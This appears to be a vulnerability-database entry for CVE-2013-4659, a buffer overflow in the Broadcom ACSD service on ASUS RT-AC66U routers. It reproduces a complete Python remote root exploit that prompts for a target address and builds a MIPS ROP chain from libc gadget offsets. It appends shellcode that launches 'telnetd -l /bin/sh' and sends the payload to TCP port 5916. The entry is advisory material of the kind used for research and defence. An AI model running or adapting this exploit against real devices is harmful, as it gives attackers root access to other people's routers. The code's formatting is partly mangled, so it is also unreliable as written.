20 vulnerabilities found for rt-ac66u by asus

VAR-201703-0032

Vulnerability from variot - Updated: 2025-04-21 23:37

Buffer overflow in Broadcom ACSD allows remote attackers to execute arbitrary code via a long string to TCP port 5916. This component is used on routers of multiple vendors including ASUS RT-AC66U and TRENDnet TEW-812DRU. The ASUS RT-AC66U is a dual-band wireless router. ASUS RT-AC66U Broadcom acsd Wireless Channel Service (Wireless Channel Servic) has multiple buffer overflow vulnerabilities that allow remote attackers to exploit a vulnerability to submit a malicious request to stop the device from responding or possibly execute arbitrary code. ASUS RT-AC66U is prone to multiple buffer-overflow vulnerabilities. Failed exploit attempts will likely result in denial-of-service conditions. The former is produced by ASUS, and the latter is produced by TRENDnet in the United States. Broadcom ACSD is one of the wireless channel service components. A buffer overflow vulnerability exists in the Broadcom ACSD component used in the ASUS RT-AC66U and TRENDnet TEW-812DRU. #!/usr/bin/env python

import signal, struct from time import sleep from socket import * from sys import exit, exc_info

Title***ASUS RT-AC66U Remote Root Shell Exploit - acsd param command

Discovered and Reported*June 2013

Discovered/Exploited By*Jacob Holcomb/Gimppy and Jacob Thompson

*Security Analsyts @ Independent Security Evaluators

Software Vendor***http://asus.com

Exploit/Advisory**http://securityevaluators.com, http://infosec42.blogspot.com/

Software****acsd wireless service (Listens on TCP/5916)

Firmware Version**3.0.0.4.266 (Other versions were not tested and may be vulnerable)

CVE***ASUS RT-AC66U Multiple Buffer Overflows: CVE-2013-4659

Overview:

The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple

Buffer Overflow attacks.

Multiple overflows exist in the following software:

- Broadcom acsd - Wireless Channel Service (autochannel&param, autochannel&data, csscan&ifname commands)

def sigHandle(signum, frm): # Signal handler

print "\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)

def targServer():

while True:    
    try:
        server = inet_aton(raw_input("\n[*] Please enter the IPv4 address of the ASUS RT-AC66U router:\n\n>"))
        server = inet_ntoa(server)
        break
    except:
        print "\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
        sleep(1)
        continue

return server

def main():

print ("""\n [*] Title: ASUS RT-AC66U Remote Root Shell Exploit - acsd param command

[] Discovered and Reported: June 2013 [] Discovered/Exploited By: Jacob Holcomb/Gimppy and Jacob Thompson, Security Analysts @ ISE [] Software Vendor: http://asus.com [] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/ [] Software: acsd wireless service (Listens on TCP/5916) [] Firmware Version: 3.0.0.4.266 (Other versions were not tested and may be vulnerable) [*] CVE: ASUS RT-AC66U Broadcom ACSD Buffer Overflow: CVE-2013-4659\n""") signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c victim = targServer() port = int(5916) acsdCmd = "autochannel&param=" #Vulnerable command - JH

# base address of .text section of libc.so.0 in acsd's address space
libc_base = 0x2ab25000

# ROP gadget #1
# lui     s0,0x2
# li      a0,1
# move    t9,s1
# jalr    t9
# ori     a1,s0,0x2
ra1 = struct.pack("<L", libc_base + 0x2d39c)

# ROP gadget #2
# move    t9,s3
# lw      ra,44(sp)
# lw      s4,40(sp)
# lw      s3,36(sp)
# lw      s2,32(sp)
# lw      s1,28(sp)
# lw      s0,24(sp)
# jr      t9
s1 = struct.pack("<L", libc_base + 0x34358)

# sleep() - used to force program context switch (cache flush)
s3 = struct.pack("<L", libc_base + 0x2cb90)

# ROP gadget #3
# addiu   a1,sp,24
# lw      gp,16(sp)
# lw      ra,32(sp)
# jr      ra
# addiu   sp,sp,40
ra2 = struct.pack("<L", libc_base + 0xa1b0)

# ROP gadget #4
# move    t9,a1
# addiu   a0,a0,56
# jr      t9
# move    a1,a2
ra3 = struct.pack("<L", libc_base + 0x3167c)

# jalr sp
jalr_sp =  "\x09\xf8\xa0\x03"

JuNk = "\x42" * 510
safeNop = "2Aa3"

#80 Bytes system() Shellcode by Jacob Holcomb of ISE
#Calling system() and executing telnetd -l /bin/sh
shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
shellcode += "\x41\x61\x33"

sploit = acsdCmd + JuNk + s1 + JuNk[0:4] + s3 + ra1 + JuNk[0:48]
sploit += ra2 + JuNk[0:24]+ jalr_sp + safeNop + ra3 + JuNk[0:4]
sploit += safeNop + shellcode

try:
    print "\n [*] Creating network socket."
    net_sock = socket(AF_INET, SOCK_STREAM)
except:
    print "\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n" % exc_info()       
    sleep(1)
    exit(0)

try:
    print " [*] Connecting to ASUS RT-AC66U router @ %s on port TCP/%d." % (victim, port)
    net_sock.connect((victim, port))
except:
    print "\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n" % (victim, exc_info())
    sleep(1)
    exit(0)

try:
    print """ [*] Attempting to exploit the acsd param command.

[] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d. [] Payload Length: %d bytes.""" % (victim, port, len(sploit)) net_sock.send(sploit) sleep(1) except: print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info()) sleep(1) exit(0)

try:
    print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!

[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n""" net_sock.close() except: print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info() sleep(1) exit(0)

if name == "main": main()

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